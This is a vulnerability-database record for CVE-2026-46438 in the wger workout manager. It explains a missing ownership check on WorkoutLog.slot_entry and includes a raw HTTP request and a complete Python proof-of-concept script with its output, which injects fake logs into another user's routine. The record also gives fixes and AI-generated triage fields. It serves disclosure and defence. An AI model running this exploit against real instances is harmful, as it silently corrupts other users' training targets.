{"id":"CVE-2026-46438","kind":"vulnerability","aliases":["CVE-2026-46438","GHSA-rjpf-7pf5-q54x"],"related":[],"title":"wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry","description":"### Summary\n\nAn authenticated attacker can inject arbitrary workout log entries into any other user's `SlotEntry` by supplying the victim's `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.\n\nBecause `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.\n\n### Details\n\nwger uses a centralized ownership-verification pattern in `WgerOwnerObjectModelViewSet.create()` (file: `wger/utils/viewsets.py`). This method iterates over the list returned by each ViewSet's `get_owner_objects()` and verifies that every listed foreign-key value in the request belongs to the authenticated user. **Foreign keys not present in the list are never checked.**\n\n`WorkoutLogViewSet.get_owner_objects()` returns:\n\n```python\n# File: wger/manager/api/views.py, lines 312-316\ndef get_owner_objects(self):\n    return [(Routine, 'routine'), (WorkoutSession, 'session')]\n    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked\n    # (SlotEntry, 'slot_entry') is MISSING\n```\n\nBecause `slot_entry` is omitted, an attacker can supply their own `routine` (which passes the ownership check) alongside a victim's `slot_entry` ID (which is never verified).\n\nThe second contributing factor is in `SlotEntry.get_config_data()`:\n\n```python\n# File: wger/manager/models/slot_entry.py, line 367\nlogs = list(self.workoutlog_set.all())   # no .filter(user=...)\n```\n\nThis reverse-relation query returns **all** `WorkoutLog` rows linked to the `SlotEntry`, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.\n\n### PoC\n\n#### Prerequisites\n\n- Two authenticated user accounts (attacker and victim)\n- The attacker knows (or can enumerate) the victim's `SlotEntry` ID\n- The attacker has at least one `Routine` of their own (to satisfy the `routine` ownership check)\n\n#### Attack Steps\n\n```\nPOST /api/v2/workoutlog/\nAuthorization: Token <attacker_token>\nContent-Type: application/json\n\n{\n    \"routine\": <attacker_routine_id>,\n    \"slot_entry\": <victim_slot_entry_id>,\n    \"exercise\": <any_valid_exercise_id>,\n    \"repetitions\": 999,\n    \"weight\": 999,\n    \"repetitions_unit\": 1,\n    \"weight_unit\": 1,\n    \"date\": \"2025-01-15\",\n    \"iteration\": 1\n}\n```\n\n**Expected:** HTTP 403 (the `slot_entry` belongs to another user)\n**Actual:** HTTP 201 (the log is created and linked to the victim's `SlotEntry`)\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\nTarget: wger Workout Manager\nSeverity: CRITICAL - CVSS 7.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n    python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport json\nfrom datetime import date, timedelta\n\nif len(sys.argv) < 2:\n    print(f\"Usage: {sys.argv[0]} <BASE_URL>\")\n    print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nVICTIM_USER = \"admin\"\nVICTIM_PASS = \"adminadmin\"\nATTACKER_USER = \"attacker_idor_poc\"\nATTACKER_PASS = \"Attacker!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\n  Severity: CRITICAL\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n# ---- Helper ----\ndef api_login(username, password):\n    r = requests.post(f\"{API}/login/\", json={\n        \"username\": username, \"password\": password\n    })\n    if r.status_code == 200:\n        return r.json().get(\"token\")\n    return None\n\ndef api_headers(token):\n    return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate both users ----\n\nprint(\"[1] Authenticating users...\")\n\nvictim_token = api_login(VICTIM_USER, VICTIM_PASS)\nif not victim_token:\n    print(f\"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.\")\n    sys.exit(1)\nprint(f\"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...\")\n\nattacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not attacker_token:\n    print(f\"    Registering attacker account...\")\n    r = requests.post(f\"{API}/register/\", json={\n        \"username\": ATTACKER_USER,\n        \"password\": ATTACKER_PASS,\n    })\n    if r.status_code in (200, 201):\n        attacker_token = r.json().get(\"token\")\n    if not attacker_token:\n        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\n    if not attacker_token:\n        print(f\"[-] Cannot create/login attacker. Response: {r.text[:200]}\")\n        sys.exit(1)\nprint(f\"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...\")\n\n\n# ---- 2. Create victim's routine chain ----\n\nprint(\"\\n[2] Setting up victim's private routine chain...\")\n\nvh = api_headers(victim_token)\ntoday = str(date.today())\nend_date = str(date.today() + timedelta(days=30))\n\nr = requests.post(f\"{API}/routine/\", headers=vh, json={\n    \"name\": \"Victim Private Routine\", \"start\": today, \"end\": end_date\n})\nvictim_routine_id = r.json()[\"id\"]\nprint(f\"    Routine   id={victim_routine_id}\")\n\nr = requests.post(f\"{API}/day/\", headers=vh, json={\n    \"routine\": victim_routine_id, \"order\": 1, \"name\": \"Push Day\"\n})\nvictim_day_id = r.json()[\"id\"]\nprint(f\"    Day       id={victim_day_id}\")\n\nr = requests.post(f\"{API}/slot/\", headers=vh, json={\n    \"day\": victim_day_id, \"order\": 1\n})\nvictim_slot_id = r.json()[\"id\"]\nprint(f\"    Slot      id={victim_slot_id}\")\n\nr = requests.get(f\"{API}/exercise/?limit=1&format=json\", headers=vh)\nexercise_id = r.json()[\"results\"][0][\"id\"]\n\nr = requests.post(f\"{API}/slot-entry/\", headers=vh, json={\n    \"slot\": victim_slot_id, \"exercise\": exercise_id, \"order\": 1, \"type\": \"normal\"\n})\nvictim_slot_entry_id = r.json()[\"id\"]\nprint(f\"    SlotEntry id={victim_slot_entry_id}  <-- TARGET\")\n\n\n# ---- 3. Create attacker's own routine ----\n\nprint(\"\\n[3] Creating attacker's own routine...\")\n\nah = api_headers(attacker_token)\n\nr = requests.post(f\"{API}/routine/\", headers=ah, json={\n    \"name\": \"Attacker Routine\", \"start\": today, \"end\": end_date\n})\nattacker_routine_id = r.json()[\"id\"]\nprint(f\"    Attacker routine id={attacker_routine_id}\")\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry\")\nprint(f\"{'='*65}\")\n\npayload = {\n    \"routine\": attacker_routine_id,\n    \"slot_entry\": victim_slot_entry_id,\n    \"exercise\": exercise_id,\n    \"repetitions\": 999,\n    \"weight\": 999,\n    \"repetitions_unit\": 1,\n    \"weight_unit\": 1,\n    \"date\": today,\n    \"iteration\": 1,\n}\n\nprint(f\"\\n  POST {API}/workoutlog/\")\nprint(f\"    routine    = {attacker_routine_id}  (attacker's own -> passes check)\")\nprint(f\"    slot_entry = {victim_slot_entry_id}  (VICTIM's -> NOT CHECKED)\")\nprint(f\"    weight     = 999\")\nprint(f\"    reps       = 999\")\n\nr = requests.post(f\"{API}/workoutlog/\", headers=ah, json=payload)\n\nprint(f\"\\n  Response: HTTP {r.status_code}\")\n\nif r.status_code == 201:\n    d = r.json()\n    print(f\"  Created WorkoutLog id={d['id']}\")\n    print(f\"    slot_entry = {d['slot_entry']}  <- VICTIM's SlotEntry!\")\n    print(f\"    routine    = {d['routine']}  <- attacker's routine\")\n    print(f\"    weight     = {d['weight']}\")\n    print(f\"    reps       = {d['repetitions']}\")\nelif r.status_code == 403:\n    print(\"  Access denied - NOT vulnerable (patched)\")\n    sys.exit(0)\nelse:\n    print(f\"  Unexpected: {r.text[:300]}\")\n    sys.exit(1)\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{'='*65}\")\n\nr = requests.get(\n    f\"{API}/routine/{victim_routine_id}/date-sequence-display/\",\n    headers=vh,\n)\nprint(f\"\\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/\")\nprint(f\"  (as victim - this endpoint consumes the injected logs)\")\nprint(f\"  HTTP {r.status_code}\")\n\nif r.status_code == 200:\n    seq = r.json()\n    print(f\"  Returned {len(seq)} day(s) of data\")\n    if seq:\n        print(f\"  First entry (truncated):\")\n        print(f\"  {json.dumps(seq[0], indent=2)[:600]}\")\n\nr2 = requests.get(f\"{API}/workoutlog/?format=json\", headers=vh)\nvictim_logs = r2.json().get(\"results\", [])\nprint(f\"\\n  Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)\")\nprint(f\"  (The injected log is owned by attacker, so it does NOT appear\")\nprint(f\"   in victim's list view - but it IS attached to victim's SlotEntry\")\nprint(f\"   and WILL corrupt victim's progression calculations.)\")\n\nprint(\"\"\"\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  HTTP 201 accepted the cross-user slot_entry reference.  |\n  |  The attacker's fake log (weight=999, reps=999) is now   |\n  |  linked to the victim's SlotEntry and will be included   |\n  |  in get_config_data() -> corrupting auto-progression.    |\n  +----------------------------------------------------------+\n\"\"\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\n  Severity: CRITICAL\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\n[1] Authenticating users...\n    Victim  (admin): token=7e34da0a3f3f00a4...\n    Registering attacker account...\n    Attacker (attacker_idor_poc): token=8a70d2881b656c18...\n\n[2] Setting up victim's private routine chain...\n    Routine   id=3\n    Day       id=2\n    Slot      id=2\n    SlotEntry id=2  <-- TARGET\n\n[3] Creating attacker's own routine...\n    Attacker routine id=4\n\n=================================================================\n  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry\n=================================================================\n\n  POST http://localhost/api/v2/workoutlog/\n    routine    = 4  (attacker's own -> passes check)\n    slot_entry = 2  (VICTIM's -> NOT CHECKED)\n    weight     = 999\n    reps       = 999\n\n  Response: HTTP 201\n  Created WorkoutLog id=2\n    slot_entry = 2  <- VICTIM's SlotEntry!\n    routine    = 4  <- attacker's routine\n    weight     = 999.00\n    reps       = 999.00\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  GET /api/v2/routine/3/date-sequence-display/\n  (as victim - this endpoint consumes the injected logs)\n  HTTP 200\n  Returned 31 day(s) of data\n\n  Victim's own /api/v2/workoutlog/ shows 0 log(s)\n  (The injected log is owned by attacker, so it does NOT appear\n   in victim's list view - but it IS attached to victim's SlotEntry\n   and WILL corrupt victim's progression calculations.)\n\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  HTTP 201 accepted the cross-user slot_entry reference.  |\n  |  The attacker's fake log (weight=999, reps=999) is now   |\n  |  linked to the victim's SlotEntry and will be included   |\n  |  in get_config_data() -> corrupting auto-progression.    |\n  +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Training Data Integrity:** The progressive-overload engine (`get_config_data`) uses injected fake values when computing the victim's next workout targets. An attacker setting `weight=999` or `repetitions=0` can produce dangerous or nonsensical training recommendations.\n\n2. **Silent Corruption:** The victim receives no notification. Their training plan simply starts producing unexpected numbers.\n\n3. **Scalable Attack:** Because only a `slot_entry` ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.\n\n### Fix\n\n#### Primary Fix - Add `slot_entry` to the ownership check\n\n```python\n# File: wger/manager/api/views.py\nclass WorkoutLogViewSet(WgerOwnerObjectModelViewSet):\n    def get_owner_objects(self):\n        return [\n            (Routine, 'routine'),\n            (WorkoutSession, 'session'),\n            (SlotEntry, 'slot_entry'),      # ADD THIS\n        ]\n```\n\n#### Defence-in-Depth - Filter logs by routine owner\n\n```python\n# File: wger/manager/models/slot_entry.py, line 367\nlogs = list(self.workoutlog_set.filter(\n    user=self.slot.day.routine.user\n))\n```","summary":"A logged-in user can create workout log entries linked to another user's slot entry through the workout log API, because the server does not check ownership of that field. The injected values then feed into the victim's auto-generated weight and rep targets.","severity":"medium","cvss":6.5,"epss":0.00227,"exploited":false,"exploited_at":null,"products":[{"name":"wger","fixed":[],"affected":"<= 2.1","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-639","cwe-862","package","python","self-hosted","wger"],"not_affected_if":["auth-required","single-user-instance"],"how_to_check":"- Check the installed wger version with `pip show wger` or the deployed image tag; the sources list `<= 2.1` as affected.\n- Confirm whether the instance is reachable by users who can register or log in, since an account is needed.","fix":"- Upgrade the `wger` pypi package to a release newer than `2.1`; the sources do not name the fixed version.\n- Until patched, restrict account registration and review workout log entries whose slot_entry belongs to a different user.","status":"open","published_at":"2026-10-07T13:59:17+00:00","first_seen_at":"2026-10-26T15:53:57+00:00","triaged_at":"2026-10-26T15:55:10+00:00","updated_at":"2026-10-26T15:55:10+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-26T15:55:10Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade the `wger` pypi package to a release newer than `2.1`; the sources do not name the fixed version.\n- Until patched, restrict account registration and review workout log entries whose slot_entry belongs to a different user.","reach":"internet","title":"wger: any logged-in user can corrupt another user's workout targets","impact":"medium","summary":"A logged-in user can create workout log entries linked to another user's slot entry through the workout log API, because the server does not check ownership of that field. The injected values then feed into the victim's auto-generated weight and rep targets.","category":"package","nicknames":[],"who_cares":["python","self-hosted","wger"],"confidence":0.8,"needs_auth":"yes","worst_case":"another user's training targets get silently corrupted","analyst_note":"","how_to_check":"- Check the installed wger version with `pip show wger` or the deployed image tag; the sources list `<= 2.1` as affected.\n- Confirm whether the instance is reachable by users who can register or log in, since an account is needed.","needs_analyst":false,"not_affected_if":["single-user-instance","auth-required"],"who_is_affected":"Self-hosted or managed wger instances where more than one user has an account, since the attacker needs a valid login and their own routine. Single-user instances have no other user whose slot entries could be targeted.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"unknown"},"cost_usd":0.001072,"input_tokens":8256,"output_tokens":493,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-01':405C '-15':406C '-2026':15A,23A '-316':244C '-46438':16A,24A '-639':27B,459C,539C '-862':29B '/api/v2':508C '/api/v2/workoutlog':111C,382C '/login':559C '/usr/bin/env':438C '0':491C,496C '1':399C,402C,408C,500C,503C '2':486C '200':568C '201':421C '2025':404C,524C '312':243C '367':303C '403':411C '7.1':457C '7pf5':20A '8000':471C,498C '999':394C,396C 'accept':133C 'account':348C 'actual':419C 'admin':511C 'adminadmin':514C 'alongsid':279C 'anoth':48B,417C 'api':57B,505C,551C,558C 'application/json':388C 'arbitrari':90C 'associ':148C 'attack':87C,157C,268C,330C,349C,353C,364C,379C,515C,517C,520C,522C 'authent':86C,223C,346C 'author':383C,460C,540C 'auto':78B,175C 'auto-gener':77B,174C 'banner':525C,548C 'base':501C,507C 'belong':220C,415C 'bypass':461C,541C 'calcul':171C,342C 'central':185C 'check':10A,63B,234C,255C,256C,278C,378C 'code':567C 'concept':435C 'config':145C,297C 'content':386C 'content-typ':385C 'contribut':292C 'control':465C,545C 'corrupt':6A,172C,445C,531C 'creat':42B,327C,425C 'critic':455C,537C 'cross':3A,138C,442C,528C 'cross-us':2A,137C,441C,527C 'cve':14A,22A 'cvss':456C 'cwe':26B,28B,458C,538C 'data':5A,146C,160C,298C,444C,530C 'date':403C,481C 'datetim':479C 'def':245C,550C 'detail':181C 'entri':13A,45B,52B,93C,106C,115C,259C,264C,284C,333C,391C,414C,448C,534C 'enumer':357C 'error':142C 'everi':211C 'exampl':494C 'exercis':392C 'expect':409C 'f':488C,493C,506C,557C 'factor':293C 'feed':72B 'field':67B 'file':192C,240C,300C 'filter':155C,308C 'fold':163C 'foreign':116C,214C,225C 'foreign-key':213C 'g':571C 'generat':79B,176C 'get':205C,246C 'ghsa':18A 'ghsa-rjpf-7pf5-q54x':17A 'helper':549C 'host':34B 'http':410C,420C 'id':107C,285C,362C 'idor':449C,518C,535C 'import':472C,474C,476C,480C 'includ':120C,336C 'inject':69B,89C,159C,332C 'iter':196C,407C 'json':477C,560C 'key':117C,215C,226C,466C,546C 'know':354C 'least':367C 'len':484C 'line':242C,302C 'link':46B,319C,427C 'list':199C,212C,231C,305C 'localhost':470C,497C 'log':38B,44B,56B,92C,149C,304C,423C 'logged-in':37B 'login':552C 'manag':453C 'method':195C 'miss':8A,261C 'never':233C,288C 'object':129C,207C,237C,248C 'omit':266C 'one':368C 'overload':170C 'owner':128C,206C,236C,247C 'ownership':9A,64B,123C,187C,277C,377C 'ownership-verif':186C 'packag':30B 'pass':275C,513C,521C 'password':554C,563C,564C 'pattern':189C 'perform':125C 'persist':135C 'poc':343C,440C,519C,523C,526C 'poc.py':469C 'post':110C,381C 'prerequisit':344C 'present':228C 'print':487C,492C,547C 'progress':169C,341C 'progressive-overload':168C 'proof':433C 'python':31B,239C,299C,437C 'python3':439C,468C 'q54x':21A 'queri':314C 'r':555C 'r.json':570C 'r.status':566C 'refer':140C 'regardless':323C 'relat':313C 'rep':82B 'repetit':179C,393C,397C 'request':112C,219C,473C 'requests.post':556C 'retriev':147C 'return':200C,238C,250C,315C,569C 'revers':312C 'reverse-rel':311C 'rjpf':19A 'routin':251C,252C,273C,369C,376C,389C 'row':318C 'rstrip':504C 'satisfi':374C 'script':436C 'second':291C 'self':33B,249C 'self-host':32B 'self.workoutlog_set.all':151C,306C 'server':60B,132C 'session':254C 'sever':454C,536C 'silent':162C 'slot':51B,105C,114C,258C,263C,283C,390C,413C 'slotentri':99C,257C,322C,361C,432C 'slotentry.get':144C,296C 'step':380C 'summari':84C 'suppli':101C,270C 'sys':475C 'sys.argv':485C,490C,495C,502C 'sys.exit':499C 'target':83B,180C,450C 'therefor':335C 'timedelta':482C 'token':384C 'two':345C 'type':387C 'unit':398C,401C 'usag':467C,489C 'use':183C 'user':4A,40B,49B,97C,139C,154C,224C,309C,326C,347C,418C,443C,464C,510C,516C,529C,544C 'user-control':463C,543C 'usernam':553C,561C,562C 'valu':70B,216C 'verif':124C,188C 'verifi':209C,289C 'via':7A,150C,446C,532C 'victim':75B,103C,166C,281C,339C,351C,359C,430C,509C,512C 'viewset':203C 'weight':80B,177C,395C,400C 'wger':1A,25A,35B,182C,451C 'wger/manager/api/views.py':241C 'wger/manager/models/slot_entry.py':301C 'wger/utils/viewsets.py':193C 'wgerownerobjectmodelviewset.create':191C 'without':141C 'workout':43B,55B,91C,452C 'workoutlog':317C 'workoutlog.slot':12A,447C,533C 'workoutlogviewset.get':127C,235C 'workoutsess':253C","nicknames":[],"mitigations":[],"who_affected":"Self-hosted or managed wger instances where more than one user has an account, since the attacker needs a valid login and their own routine. Single-user instances have no other user whose slot entries could be targeted.","tier":"C","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-07T13:59:17+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-rjpf-7pf5-q54x","url":"https://github.com/advisories/GHSA-rjpf-7pf5-q54x","severity":"medium","published_at":"2026-10-07T13:59:17+00:00","modified_at":"2026-10-26T15:51:05+00:00","first_seen_at":"2026-10-26T15:53:57+00:00","fetched_at":"2026-10-26T15:53:57+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-46438","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46438","severity":null,"published_at":"2026-10-07T14:17:10+00:00","modified_at":"2026-10-07T19:17:37+00:00","first_seen_at":"2026-10-26T16:02:26+00:00","fetched_at":"2026-10-26T16:02:26+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}